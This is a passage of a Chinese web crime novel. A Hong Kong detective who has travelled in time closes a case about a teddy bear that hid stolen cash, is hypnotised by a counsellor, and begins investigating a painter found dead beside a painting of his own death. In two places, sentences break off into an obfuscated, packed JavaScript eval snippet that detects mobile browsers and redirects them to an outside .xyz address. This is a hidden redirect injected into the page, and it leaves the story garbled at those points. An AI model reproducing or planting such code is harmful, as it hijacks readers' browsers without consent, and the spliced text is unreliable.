林知夏将相框拿在手里看了会儿,又从抽屉里找到不少王相姚送给笙小米的项链、手表一类。 打开卧室的衣柜,衣柜里的衣服也分成两种不同风格,打眼看上去就能判断出来,这柜子里有接近一大半的衣服都是王相姚给她买的,因为和她本人甜美的风格不太相符,颇有些熟女风,直男审美呼之欲出。 的确能看出来,王相姚在她身上花了不少钱,是真心相待。 林知夏将几件王相姚买的衣服和他所送的项链、八音盒、高跟鞋等摆在笙小米面前:“你们不止谈了两三年吧?这表带的磨损、项链的成色,至少也放了五六年时间,他是你初恋男友?” 被戳中心中最痛的地方,笙小米刚憋回去的眼泪再次绷不住了。 她有些吃惊地看着眼前的警官,头顶凭空出现一条淡淡的进度条。 看穿了她的心思,对方竟对自己生出了几分好感。 看来笙小米是在挣扎,多年感情陷入意外状况之中,她要选边站。 既如此,便放软态度,刘美飒也很快意识到了什么,不停安慰,表示可以理解她现在的心情。 时间不早了,几个人都还没吃饭。 林知夏看到厨房里有鸡蛋、买回来的吐司片,东西不多,但填填肚子才好继续工作,毕竟现在这么硬问,也没什么进展。 她征求笙小米同意后,进了厨房,虽然厨艺不行,但简单的煎个面包和鸡蛋也不需要多么高深的手艺。 给每个人煎好两片面包和一只鸡蛋后,林知夏将盘子端到桌面上,香喷喷的味道扑入鼻腔。 笙小米经历长时间的挣扎,头顶的进度条缓慢移动,在尝到一口煎面包的瞬间,复杂的情感涌来,一下子进度条就爆表了。 她只低头默默说道:“警官,上周三,王相姚的确来找过我,手里拿着一只小熊玩偶。本来是我从店里折扣价买下的限量版玩偶,他用完要送还给我的,可那天他喝了好多酒,有些神志不清,还魂不守舍的,我问他话的时候,他也总在发呆,离开的时候,小熊玩偶不慎落在店里,后来那只玩偶,居然在店里被其他客人顺手牵羊拿走了。等他大睡一天一夜醒酒以后,意识到可能落在店里的时候,就已经是两天后了。” 说出真话后,笙小米微微惊讶了一瞬,但很快她也松了口气,心里那块一直压抑着她的大石头终于落下。 这和林知夏、刘美飒她们来时所讨论的一致。 后来,笙小米询问同事的时候,同事压根不记得究竟是谁顺走了玩偶。只知道那只玩偶既然标签上盖了图章,意味着已经被人买走过,只有论坛老用户才知道是不需要再付钱的,可以直接带走。 将这个信息告知王相姚以后,王相姚就开始从第二天早晨进过店的论坛老用户里挨个筛选目标人物,是他们其中的某一个人带走了玩偶。 他试图找回,但很快,奶奶病情突然恶化去世,这种痛恨变得加倍。 从那天起,所有进过店、有机会接触到那只小熊毛绒玩偶的论坛用户都有嫌疑,王相姚对他们平等地痛恨,痛恨他们有钱购买一只限量高价的毛绒玩具,花费金钱在这些不实用的东西上,却也还要贪婪地拿走他奶奶的那笔救命钱。 很快,拿到了笙小米证词后,王相姚居然也没再辩驳。 一天后,警方从一名论坛成员家中终于搜索出了拉链中藏匿有45万港币现金的毛绒玩偶,人证物证俱在,无可抵赖。 丢失的港币未动,阿杰倒是很好奇:“这玩具是从谁那找到的?” “嗨,你说这事闹的,是个小朋友,只有四岁!她妈妈是论坛成员,抱着孩子进店的时候,那小孩喜欢小熊,就把它揣进自己怀里,他妈也没意识到,等到家才发现袋子里多了一只玩偶,不过那孩子抱着那只玩偶就走远了,她也一直没发现玩偶后面还藏了钱。” “是啊,和王相姚想象的不一样,并不是有人恶意拿走了他的钱,只是孩童的无心之举。” 众人都唏嘘不已,一时不知该作何评价。 冯智临从审讯室走出来,熬了两天两夜,王相姚终于都撂了。大家伙也忙了好几天,没怎么正常下过班。 “明天是周末,大家好好休息一下吧!” 终于,案件告一段落,林知夏也想去医院检查一下,那天突然间出现的那个奇怪的幻觉究竟是怎么回事。 于是到了周六,林知夏睡了个自然醒,醒来以后就直接赶赴香江市人民医院,做了心脏彩超、心电图,也验了血,抽了四五管的血,做了个全身性检查。 结果出来了,指标上没有任何问题,林知夏松了口气。 然而,紧接着她就意识到一个曾经被她忽视的问题,似乎除了穿越过来,掉落了一些关于原主的有关西九龙专案组的和住处等的基本信息,可供她能够正常生活的情况以外,其余信息获取量基本为零。 她无论如何绞尽脑汁去回忆,都不知道原主的父母究竟是谁,原主小时候的生活怎么样,尤其是她那天的幻觉是怎么形成的。 既然各项基础指标检查没有问题,看来只能去寻求心理医生,看看原主内心是不是或有某种不为人知的压力,导致产生短暂的幻觉。 另外,穿过来的瞬间,她也隐约感觉到这具身体在她到来之前,早已是冰冷僵硬的状态,应该已经死亡。但有直觉隐约告诉她,那是一场非正常死亡。 林知夏在家休息了一天。等到周日,去了香江一家著名的名为“心里美”的心理咨询机构,选择了其中一名资深心理咨询师。 对于像她这种穿越后失忆的情况,应当比较棘手。 既不能说出真实情况,又能剖析出原主过往经历,必须要足够专业精深的心理咨询师。 这家心理咨询中心规模不大,坐落于泰众路,装潢却比较现代化。玻璃幕墙围出的两层小楼,一层是接待中心,二层便有几名心理咨询师专门的自选房间。 林知夏进入了田素心咨询师所在的心理咨询室。 田素心是一名年逾40岁的女性,从业二十多年,看起来和蔼可亲。 林知夏深吸一口气,坐定在座位上,说明了自己失去大部分记忆的状况。 面前的心理咨询师田素心一愣:“失忆?这种情况比较罕见,我只在滑雪摔伤脑部或遭遇重击的被伤害者身上见到过。” 林知夏顺势点点头:“我正是滑雪时撞击造成的。” 这当然是编造的,可就有了合适的理由。 咨询师田素心笑了笑,沉默片刻,开口:“你这样的情况很难通过基础的房树人、雨中人、沙盘游戏或色彩图绘等方式描摹你的心理特征。我想你愿不愿意试一个更有针对性的疗法?” “是什么?” “催眠。” 林知夏屏住呼吸,不过看着眼前这名女咨询师成竹在胸的样子,她沉思片刻。 其实来之前她不是没有想到过这种方式,只是觉得对自己而言,有一定风险。 会不会将穿越的话吐露出来?但像这种记忆错乱的方式,即便说出什么,对方也不足以取信吧! 于是她特意打好预防针:“最近我总是做一些古怪的噩梦,如果将梦里的情况和记忆混淆,说出一些奇怪的话,会不会影响心理测评的情况?” “放心,这种情况不是没有过,在我这儿都见得多了。更何况我们会为患者守好一切出口的秘密,这是我们的职业操守,不是吗?” 林知夏点点头。 很快,催眠开始了。 林知夏闭眼,心理咨询师不同于她想象中的,要拿出一只带绳索的物品在眼前做钟摆运动,而是看到对方从抽屉里掏出一排水晶球,让她盯着水晶球里的不同景物。 才盯了一会,水晶球里晃动的沙尘、雪片、流动的海水、迷幻光影就让她有些昏昏沉沉,她不由得手指抵住太阳穴。 田素心上前,看时机差不多,将林知夏平放在背后斜面的躺椅上:“放轻松,跟随我的指示,慢慢进入自己内心深处。” 不知过了多久,林知夏从催眠中醒来,不觉得头昏脑胀,反而神清气爽。 她这才发现,桌前不知什么时候点上了焚香,焚香气味平和舒缓,让人紧张绷紧的情绪容易放松下来。 田素心看向她,稍稍歪了一下头,若有所指道:“你说你是滑雪撞坏了头。” 林知夏愣了一下,点头。 “你的记忆中,有对寒冷、冰、幽闭恐惧的地方,而且是极度的恐惧。恐惧到你在催眠状态下,手指都战栗不止。没有发现吗?你手指有隐隐的酸疼,是你用力抓我的椅子扶手导致的。” 林知夏转头看向椅子,包裹了布皮的椅子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280242|182522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶手的确被自己抓出不少的痕迹。 她忙说:“啊,不好意思!” “没事的,只是你自身的情况,比你想象中要严重一些。你恐惧感很深,也对外来者非常防备,所以我并没有真正进入你的内心深处。” “我最近有一次突然心慌,眼前出现幻影,就是受到了某种刺激吗?” “应该是哦。既然你这么恐惧,应该距离冰冷的东西远一些。” “冰块吗?我有次饮料当中含了冰块。这么轻微的程度,也会勾起内心的阴影?” “只能说你心中的阴影不小。具体是什么我还无法探查。不过,心理咨询本身就是个漫长的过程。我想你是个很特殊的病例,如果可以,我希望能长期为你咨询,好找到被你隐藏起来那个心结。” “其它的我有说什么吗?比如古怪的词语。” “放心吧,我探查的是你以往的记忆,通常情况下,我不会对你现在的职业、生活感兴趣。” “明白了。” 出了心理咨询室,林知夏觉得浑身轻松不少。 虽然她对原主究竟是怎么死亡,又为什么会对冰冻的东西产生强烈的抵触和阴影感到好奇,可这事也不是一蹴而就,正如田素心所说,得慢慢来,才能找到真正的根源。 不过这会儿,她被远处传来的面包香气吸引,一下子食欲大开。 她有些奇怪,上辈子即便作为警队的体能强者,她也没有这么能吃的时候,这一世胃口比原来竟然还要大出许多,动不动就有些饿了。 寻着香味走过去,林知夏找到一家自助面包坊,面包也能自助?不过对她而言,自助最好,终于能吃到饱饱的。 看了一下价格,单人58港币,倒不算太贵。 她当即付钱,进店一看,各式各样的面包被切成小块,放置在镶有花纹的托盘上,甜咸面包永动机,自然都要拿。 包裹着巧克力、糖粉、椰蓉、肉松、肉桂,散发着苹果香气、柳橙香气,点缀有草莓的各类蛋糕,样样都在吸引着林知夏目光。 她往托盘上夹了20多块面包,每块面包都有半个手掌那么大,又要了杯咖啡,很快就吃完了一托盘。 连旁边的服务生看了都不由惊讶,两个人窃窃私语:“哇,那女生看起来好瘦,食量却这么大,我还是头一次看吃的这样多的女孩子!” “这有什么?看她胳膊的肌肉,还看不出来吗?这人应当很有力气,吃的多也没什么奇怪的啦!” 林知夏吃完了一个托盘的面包,又去拿了一盘。 这家店面包做的真不错,面包挺油润,奶油也丝滑,不甜蜜,巧克力醇厚,草莓也新鲜。果然能做专门的面包自助,在面包类别里的确比较突出。 吃完了全部面包,林知夏抚摸着微微凸起的小肚子,从这里走路回家不行,需要40多分钟,她就当是散步消食了。 回到9号花园,又上了楼梯,林知夏进入家门,躺倒在自己的小卧室床上,美美的睡了一觉。 这个周末马上就要过去了,当然要奖励自己多睡一睡,平日里忙起来没日没夜的。 睡到下午四五点,林知夏起来,坐到客厅沙发处,打开电视。 电视里正在播报香江首富冯氏集团的发展历程,首富面容一闪而过。 林知夏不由感到有些吃惊,没想到香江的首富冯嘉骏居然这样年轻,才30出头的样子! 关键是面容还很俊美,和沙展冯智临嘛,的确有几分相像,不愧是亲兄弟。 看电视播报的内容,林知夏才理解,原来是家族承袭。 到了首富冯嘉骏这一代,他年轻化的思维引入了一些国际视野,将市场进一步开拓至全球,珠宝钻石黄金打造的也更符合年轻人的审美喜好,因此市场销路更加拓展。 房地产、金融、互联网领域也有涉猎,在那个年代,绝对是走在了时代的前列。 林知夏调了几个台,定格在一部武侠剧,看了会江湖爱恨情仇,又起身洗了两个苹果,坐在那咔嚓咔嚓吃完。 “咚咚咚!”门外有人敲门。 林知夏起身,是邻居左姨送来的蛋糕。 “我们今天过生日啊,蛋糕买的有些多了,给你分一块啦!” 林知夏忙摆摆手:“我今天也吃了不少糕点,多谢你的好意,你们可以留着慢慢吃!” “这隔夜呀,就不好吃了,而且我吃不了太多甜食,我爱人也是糖尿病,你看……” 林知夏只好接过蛋糕,顺便道了句生日快乐。 邻居左姨为人不错,自林知夏穿到这儿以来,已经被对方送了好多次吃食过来。要是菜做多了,也会给林知夏分上半盘一盘的。 有个好邻居,居住体验感的确大大提升。 第二天一早,林知夏回到重案组上班,楼下碰到刘美飒打个招呼:“早安!小夏,周末过的怎么样?” “还不错。” 回到办公室,林知夏坐在计算机前,接手一份新工作。 “这个档案你要帮我们归一下档,档案室的人说你打字速度比我们快多了,整理效率要高不少。” 林知夏欣然接受。 这时,重案组办公室,突然电话铃声响起,原本正在讨论最近八卦的警员们停下,目光望向冯智临。 沙展冯智临接听电话后,表情有些变了。 虽然林知夏和沙展共事的时间不多,但几次观察下来也明白,如此低压、冰冷的气氛布满周身,必然是有新案子了。 挂断电话,冯智临站起身,说道:“郊外一处荷花池旁,有画家在写生时身亡。报警人说,奇怪的是,那幅写生的画里,所画的人物,分明就是被害者自己身死的样子。” “什么?画里画出了自己的死亡状态,还和犯罪现场一模一样?!” “是啊!” 冯智临带领众警员下楼,法医佟晓敏、林知夏和他坐在一辆车上。 他驱动车辆,快速向郊外那处野生的荷花池驶去。 半小时后,车辆停下。后面那车速度竟然更快,已经有警员下来拉起了警戒线。 11. 一副诡异的画作。 林知夏穿过郊外大片的草丛,来到一处盛开荷花的洼地,看到被害者正趴倒在荷花池旁,面朝下,手臂探出去。 再往前走两步,能看到手臂上流淌着大片的鲜血,一汪荷花池周遭的一角被染红。 现场看起来的确有几分骇人。 法医佟晓敏带了工具箱,屏退众人,进行勘验。 林知夏则往后退上二十步的位置,看到架起的画板。画板上那副荷花图已经完成,就和眼前场景一模一样。 画中背景便是这处荷花池,画家所绘制的人物也是自己,连衣服裤子、鞋子的样式都一模一样,死亡状态也是如此,大半边身体趴倒在岸上,小半边探出去,划过手腕的大动脉,鲜血汩汩而出,染红池塘的一角…… 还真是画出了自己死亡时的状态! 几名警员都不免震惊。 闫子豪带人在现场泥土地上提取脚印。 这处周遭荷花池风景秀丽,倒是适合写生,但因为位置偏远,很少有人会专程前往,只有附近村子里的村民偶尔会来这里散步。 不过因为这会林城天气变化快,刚刚下了一阵小雨的缘故,脚印不是很清晰。闫子豪还是带人把这些有些模糊的脚印全部提取。 半小时后,法医佟晓敏勘验完现场,收拾工具箱,走上前,对冯智临说明情况:“致命伤口就在左腕的大动脉,应该是用小刀或刀片划伤,之后可能将刀具直接投入湖中,所以找不到凶器,只能从湖中打捞。” “是他杀吗?” “目前的情况,自杀或他杀都有可能。被害者自己割破手腕,躺倒在这儿,任凭血流不止导致身亡,这个姿势也能构成。尤其是他左腕的伤口,大动脉被整个划破,出血量很多,有一个喷出的过程。如果是自杀,只能说明此人一心求死,半点求生的意志都没有,对自己非常狠厉。当然,如果是他杀的话,这地方人迹罕至,也可能有人事先将他控制住,然后割破他的动脉。口鼻或胃里有没有被人迷晕后的药物,我也需要回到法医室,用仪器再做检验才行。” 冯智临明白。 此刻,刘美飒却上前去看,刚才她就觉得被害人格外眼熟,现在终于将他认了出来:“不对,他不可能自杀,这个是画家卢文蕴啊!下周就有他的画展,这个人视画如命,不可能在画展前夕自尽身亡!而且,这幅莲花背景图,根本不是他的绘画风格。卢文蕴只有早期画作中才会出现人物,近十年都只画风景,尤其爱各种莲花,在这个类别里,他是顶级的。拍卖最高的一幅画,只有手掌那般大小,那副《紫色并蒂莲》,拍出2000多万的高价!” 林知夏在旁边不由感叹,没想到刘美飒挺懂画作,这话她没说出来,目光却流露出对她的欣赏。 闫子豪看得出来,在旁边补充道:“一切展览、歌剧、演唱会……刘美飒都喜欢,跟她接触多了,你就明白,她是这方面的专家!” 林知夏点头。 冯智临觉得这起案子有蹊跷,命人将画作带回,检验笔迹,拿走之前在上面提取指纹,看看有没有除被害者之外的指纹。 勘察完现场,没有打斗拖拽的痕迹,不过,现场存在的任何烟头、塑料片、矿泉水瓶等物件都被带回,做进一步检验。 回到重案组,众警员很快就查出了被害人卢文蕴的信息。 果然,一周后、一个半月后,乃至更远些的12月之后,被害者卢文蕴都有正在筹办中的画展。 其中,12月份要远去澳大利亚开拓他的国际市场。 林知夏找来最新关于他的报道:“沙展,你看,卢文蕴的爱莲图系列已经出到第13幅,采访中他对记者说,希望他的第13幅爱莲图能在海外大放异彩。海外画展筹办的相关人士说,之前他在海外办过画展,都是小规模的,这一次是澳大利亚一场业界知名画展,卢文蕴受邀前往,画作将被挂在主厅。他称有一些名流人士也试图向他购买画作,出价不菲,他在考虑当中。” 从登报的情况来看,卢文蕴有自己追逐的目标,自杀的动机看起来倒没有那么强烈。 另一名女警也查询到了信息,告诉冯智临:“被害人卢文蕴这几天往返于不同国度,一年大概1/3在欧洲,1/3时间在香江,剩余的时间自由支配,会去不同的地方玩一玩,简直非常闲散自在。卖画的话,售价越来越高,地位也越来越稳固,好像没有遇到什么重大挫折。” 闫子豪从法医佟晓敏处出来,说道:“脚印已经交给法医佟晓敏了,不过,需要明天才能和相应的鞋类品牌和款式对应上,到时候我们才能派人去查找,穿过那些鞋子来往郊区荷花池畔的路人都是谁。画作鉴定、指纹和迷药鉴定也需要时间,今天肯定是出不来了。” 冯智临点点头。 “对了,卢文蕴家庭住址我找到了,他有个老婆,长相貌美,自从嫁给他之后就不工作了,在家烘焙、插花,现在孩子大了,就更自由了,据说孩子是在国外念大学,今年暑假回来了。” “走吧,既然有家庭住址,就去他家看看。”冯智临说。 林知夏也跟随一起。 被害者卢文蕴家住别墅,别墅在城南,距离他被杀的荷花池一南一北,距离很远。 那处别墅区环境优美,大门处有喷水大狮子,吐出来的水挺有门口的人工造湖,再回流到别墅中。 别墅中水系非常丰富,沿途走进去,就能看到各种花色的鱼类在水汽中游动,从溪流汇入大湖。 小区中央还有一个露天游泳池,有几个住户穿着泳衣,带着游泳圈在其中游泳,有几个孩子也在水里翻腾,水花四溅。 看起来,这别墅区环境的确很好,尤其是户外设施,别具一格。 冯智临已经到了,上楼之后“咚咚”敲门。 然而,听见里面又窸窸窣窣的声音,却没人开门,只是慢两分钟的功夫,冯智临立刻意识到里面情况不对,连忙抽出一小队:“下楼,绕到后窗的位置,防止嫌疑人逃跑!” 另一支小队连忙领命跑开了。 “家里有人,为什么不开?”冯智临扬声道。 与此同时,包抄到后窗的警员刚到位就看到,5楼的窗户吱嘎一声打开了,从中探出一只脚,紧接着就是一个赤裸的上身,是个打赤膊的男性,踩着窗台的边缘,正朝着管道往下爬。 楼下的警员阿杰大吼一声:“什么人?为什么要爬窗?” 那男人听见动静回头一看,吓得自己魂儿都快飞了,怎么底下还站了这么多人! 难道是卢文蕴派人来的,专门就是为了捉他? 男人再往下一看,好高的楼啊,真是太害怕了!于是,他没敢再往下,而是顺着打开的窗户又翻了进去。 家里一个身穿吊带睡衣裸、露出胸前春光的女人,大约40岁,但风情万种,保养得看起来比实际年纪还要再小十岁。 她本打算男人走后再开门,谁知对方又不走了,气得一巴掌打过去,男人的脸颊留下几道手指的红印:“让你逃,怎么不逃,你就这点出息,才五层楼,能摔死吗?” “底下有人呢,咱们被包围了!他们跟敲门的人应该是一伙儿的!” “你说什么?” 女人瞪大了双眼,紧张的手指攥成白色。 卢文蕴早有了别的女人,对她不管不顾的,今天是怎么了? 这么想着,门外冯智临的声音更大了些:“再不开门,就踹了!” 女人这才套了件外套,遮掩住胸口,紧张的心跳如擂鼓,但只能走上前开了门。 此时,身后刚才那正欲逃窜的男人已经穿上了上衣,看起来没有那般狼狈了。 衣服穿上就像把尊严也捡了回来。 看得出年纪挺年轻,肌肉结实,不过长相却是小白脸,倒有几分清秀帅气,碎发垂在额头一些,显得干净利落。 冯智临直接亮出警官证:“我是西九龙重案组的,有事上门询问,你们两个刚刚在里面做什么?为什么不开门?” “警官?” 那女人向后倒退几步,用手撑住了旁边装酒饮的柜子,不可思议道:“他、他让警察过来做什么?卢文蕴是要诬陷于我离婚分财产!警官,你一定要相信我,小卫来这只是为了跟我洽谈接下来的策展合作,没有发生卢文蕴想象中的事……” 旁边的男人用手臂顶了一下女人的胳膊:“警官是重案组的,恐怕跟咱俩的事儿没关系。” 那女人紧张过头,这会儿才意识到什么,松了口气,随即又睁大了眼睛:“对呀,重案组!天哪,命案吗!” 冯智临走进房间,林知夏跟上。 虽然沙展没有说话,但林知夏已经察觉到了那股扑面袭来的压迫感,让眼前一男一女都显得有些局促。 冯智临直截了当:“你老公卢文蕴被发现死在郊外写生时,说说吧,你们两个今天凌晨4-6点前后在做什么?” 女人名叫白亦若,她愣了一下,说:“我……我是在家等他,哪也没去。别墅区有监控,我可以证明我说的话没错。” 卫途安却垂下头,支吾了半天,有意逃避。 林知夏在旁边提醒他:“你没有目击证人,也没有监控作证,那么,你有杀人嫌疑?” 这激将法直接让卫途安抬头反驳:“我昨天晚上去了KTV。” 此话一出,旁边白亦若就皱了眉:“你去那里做什么?我不是让你在家好好呆着吗?你昨晚回家时,才跟我说要回家睡觉,又去那里跟什么人私会?” 警员们领悟到他哪里是不敢说,分明是怕白亦若追究。 卫途安为了洗脱嫌疑,也没了办法,顶着那双炽热、像要把他洞穿的来自情人的恼怒目光,也得为自己澄清:“我有不在场证明,昨天一直玩到凌晨3点多,我们男男女女一起喝酒唱歌。当然,后半夜,我就回自己家睡觉了。警官,你说尸体死亡时间是凌晨两点到4点,我离开KTV到郊外的时间也不够啊,卢文蕴出事跟我没半点关系!” 冯智临疑惑:“你们两个的事,卢文蕴知道吗?” 卫途安和白亦若沉默了片刻后,白亦若说:“我猜他知道。在卫途安之前,我也有别人,我们两个早就各过各的,彼此不干涉。只有绘画界聚会或者晚会的时候,我还作为卢文蕴老婆出场,人前恩爱,维护他的形象,私下里嘛,早就看彼此不顺眼了。” “为什么会走到今天这一步?” “那还不是卢文蕴先找了小姐,被我发现。在那之后我觉得,辛苦争取来的婚姻,不过就是这么回事。我把他当个宝,人家拿我呢,根本不当回事。想开以后,日子精彩多了,我也换种花样没停过,苦谁都不能苦自己不是?” 林知夏思索,果真如此的话,白亦若和卫途安对卢文蕴的杀人动机并不强烈。 这种开放式婚姻恐怕已经存在了很久。 她观察着,在这个家,甚至没有看到多少有关卢文蕴的生活痕迹。 门前鞋柜里只有一双可供替换的拖鞋,卧室衣柜卢文蕴的衣服被叠出了褶皱,可是一直没有拿起来过,应该是很久都没有穿了。其他常穿的衣服,恐怕已经被带离了这座房子,婚姻名存实亡。 刚刚两人怕被捉奸的惊慌,倒是真实存在的,是怕那层彼此都心知肚明的窗户纸被捅破,成为对方离婚时的筹码。 警方在房间里搜索一阵,没有找到什么有价值的线索。 不过,关于被害人最近情绪状况,必须询问,如此可以排除究竟是否是自杀。 于是临走时,冯智临问白亦若:“你老公自杀的可能性有多大?” 白亦若突然笑了:“自杀?他才不会。卢文蕴这个人自私自利,感情上一窍不通。我本来以为能捂热他的心,可是他把我,甚至后来和他相好的年轻女性,都只当成带给自己灵感的来源。得不到灵感,就换下一个。卢文蕴所有的心思都在他那些画上,画上画啊,那简直没日没夜,睡眠颠倒,累到住院都不在乎,简直是个画痴!” 那副死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过才开业不到一周时间就已经有了回头客。 店里这个时间,客人居然满了。 冯智临意识到什么问:“诶,咱们的大法医呢,她没来?” 林知夏回答说:“晓敏姐说手头的事比较多,她还得跑一趟鉴定中心,今晚赶不上庆功宴了。” 冯智临点耸肩:“好,改天再单独给她捎个点心。” 新鲜的牛肉被一盘盘端上来,新片好的牛肉在锅里烫上几秒钟捞出来就鲜嫩极了。 林知夏夹起一块牛肉,一口下去,牛肉油脂加上丰富的肉质纤维,美味在口腔炸开,香味四溢,尤其这一口沾上潮汕秘制调料,好吃到不得了! 闫子豪竖起大拇指:“果然好吃,怪不得人多呢。这下好了,咱们警署楼附近又多了一个能聚餐的地方!” 众人说说笑笑,期间还点了些饮料,林知夏要常温的,她在穿来之后,除了柳阿萝给她那一次冰饮之外,剩余时间她都要常温。 因此,竟然恰好避开了原主的刺激来源。 常温不伤胃,喝起来踏实。 林知夏喝下几口橙汁,听见闫子豪开口对旁边的警员说:“听说你家附近要建一个农贸市场?” “是啊,以前买菜可不方便,要跑一公里外,这下好了,就在我们家那,规模还特大。你要闲的时候可以过来采购啊,还有一个进口生鲜区呢!” “我哪有钱买那些进口生鲜哟,你真是太高看我。” 几个人议论着,火锅吃的差不多了,各自准备打道回府。 林知夏也打算坐公交车回去,现在晚上9点,还有车。 冯智临开口:“我送你。” “不用了,沙展。这个点儿公交车上人也少,我有位置坐。” 冯智临为她打开车子副驾驶的门,邀请林知夏上车,“走吧,送完你,我再回家。” 林知夏只好坐上车,车里,两人一时无话。 林知夏目光扫视向窗外,看着向后飞驰而过的街景。 “今天这起案子你怎么看?觉得是自杀还是他杀?”冯智临忽然开口。 林知夏刚才吃饭时也在考虑这个问题:“死者没有外伤,没有被人压制捆绑等的痕迹,那只有看他体内有没有什么致昏迷的药物,否则被人杀死不会一点挣扎都没有。只是,迷药这部分,晓敏姐明天才能给到结果,我只能暂时猜测,即便被害者真是自杀,也应该是被人教唆的自杀。” “你为什么觉得自杀是被教唆的?” “唔,我也说不好,大概是一种直觉吧!” 冯智临点点头。 很快,林知夏家就到了,她下车和冯智临道别。 9号花园小区前,有人卖散装的香蕉,看上去外表虽然散落,不过胜在便宜。 林知夏买了三根,提着袋子上楼。 等回到楼上,她在沙发上休息会儿,随手打开电视,看到的竟然就是画家卢文蕴被杀的消息。 林知夏眉头深深拧起,他杀?凶器都还没打捞出来呢,媒体定性的消息还真快啊,重案组结果都没出来,他们真是胡乱报道! 她看到了新闻报道里,今天被封锁的现场拉的横幅之外,就有几家媒体在那里举着话筒。 果然,这桩案子因为被害者卢文蕴在绘画界颇有名气的缘故,少不了会有媒体介入。 不过这样一来,恐怕会对案情舆论产生不利影响。 林知夏感觉到有些困了,随手关掉电视,回了房间。 夜间有风,她打开窗户,让微微的凉风吹拂进来。 第二天一早,林知夏蹬着脚踏车前往重案组办公楼,可是刚到办公楼下,就看到远远围过来的各电视台报纸记者。 糟了,她所想象的场景再次出现! 看到林知夏停住脚踏车,记者们像是抓到了救命稻草,蜂拥一般向林知夏扑了过来,把话筒都要怼到她嘴巴上了。 12. 法医鉴定结果。 林知夏连忙摆摆手,就要往楼上走,可是被挡住了去路,也没法硬挤。 这时,冯智临的声音从身后响起,语气肃然,冷不丁听到,叫人心里直打寒颤:“请不要妨碍公务。” 那架势怪吓人的,记者们往后退几步,让出一条窄路,冯智临直接擒住林知夏手臂,把她带离了人群。 上了楼,冯智临松开林知夏手臂,林知夏道了句谢,低头看,手腕都被抓红了,力道还真是不小。 冯智临叫来闫子豪:“让楼下的记者们不要胡乱报道,诱导舆论,告诉他们案件正在侦办中,结案之后,具体情况会予以通报。” 闫子豪下楼去了,林知夏也回到座位上。 不一会儿,法医佟晓敏从法医佟晓敏室走出来,扫视了一眼大办公室问:“我这有个数据,想帮忙整理誊抄一下,谁有时间?” 林知夏刚好上传完了文档,说道:“我来吧!” 她对法医这个工作一直很有兴趣,所以并不惧怕进入法医室,甚至有机会的话,她还想在旁边观摩解剖呢! 林知夏进入法医室,看着仪器上出来的一些数据,帮忙整理好。 法医佟晓敏则去了旁边的解剖室,将解剖过的尸体存入尸袋。 随后,佟晓敏叫了众警员过来,她将一份刚刚新鲜被林知夏打印出来的报告交到冯智临手上:“呐!这几个结果都出来了,被害者口鼻、胃里都没有发现任何迷药的痕迹。画作鉴定我交给了总局的鉴定中心,刚刚总局打电话,告知我的结果是,这幅画,从风景到人物,都是被害者卢文蕴自己的笔触,和生前他的画作和文字笔迹完全一致。另外就是,泥地上这几处鞋印,总共发现四个经过现场的人,三名男性,一名女性,运动鞋款式分别是这四个品牌,我也标注出来了。这些经过者的身高,最高的是1米78,最低的是这名女性,1米55。这些鞋的品牌比较大众,想要通过鞋类品牌锁定会比较困难,很难直接锁定范围。现场指纹目前只有被害者的。” 在九十年代的香江西九龙区,指纹检测已经应用起来了。只是,在当时指纹库并不全面的情况下,常常会有拿到指纹也无法锁定真凶的情况。 好在,这起案件只有被害者的指纹,比对变得容易。 冯智临点点头:“目前没有其他线索情况下,只能沿着它推,能锁定多少范围就是多少范围。” 他将数据转交给闫子豪,“去吧,找人把这些品牌店铺查一下。” 闫子豪点点头,离开了。 “不过体内没有迷药,也没有外在伤痕的话,自杀的可能性就急剧增加了,割腕自杀,和绘画中的场景一模一样。” 柳阿萝在旁边听着,提出一个主张:“会不会被害者卢文蕴想创造出一幅绝仅有的画作,就是以自己的死状作为画中的人物,这样把这幅画卖出高价?” 冯智临摇头:“不会。一般一名画家有他擅长的类型,在那种类型中才能卖出更高的价格,不会因为卢文蕴突然从画风景变为画人物,这幅画就值钱。市面上叫好又叫座的是他的莲花系列图,这张风景图增加了人,甚至是死人,不仅不能成为孤品,反而可能减少市场评级,降低他这幅画的价值。” “可是像梵高啊这样的画家,不是离世之后才被人传颂的吗?” “现在走商业路线的俗世画家,是很难做到死后扬名的。不过还是找一些画界专家评估一下,这种情况对他的画的价值会造成什么样的改变吧!刘美飒,你不是特别懂这个吗,这条线就交给你来跑。” 刘美飒领命离开。 另一名警员则走上前,把最近搜集到的一条线索递给冯智临,这条线倒是引起了大家的注意。 “昨天那个白亦若,她说两个人只有名存实亡的夫妻关系,但是这个,我发现了她新投保的意外保险,保的是画家卢文蕴,受益者却是自己。” “什么?”冯智临诧异。 “对呀,意外身亡之后她能够拿到一大笔钱。白亦若就算没有作案时间,但是她不会雇凶杀人吗?她手里那么多钱,完全能办得到。” “不过,意外……画家的情况现在还无法定性,如果是自杀,白亦若是拿不到钱的。何况制造一场意外,车祸这样的事情不是更合适?用如此诡异的现场状况绕晕警方,倒是增加理赔风险了。不管怎么说,这几条线分头来查。林知夏,你手头没事吧?” 林知夏说:“我有空。” “你跟我去另外一个地方,找卢文蕴周边人物再走访一下。” 等坐上车,林知夏才知道,冯智临要带她去找的是被害者卢文蕴的儿子卢彭野。 冯智临一边打转方向盘,车辆在路上疾驰,一边对林知夏说:“大儿子卢彭野不和父母住在一起,而是单独租了一间公寓。按照他的往常情况,现在应该在附近的篮球馆打篮球。” 林知夏点点头。 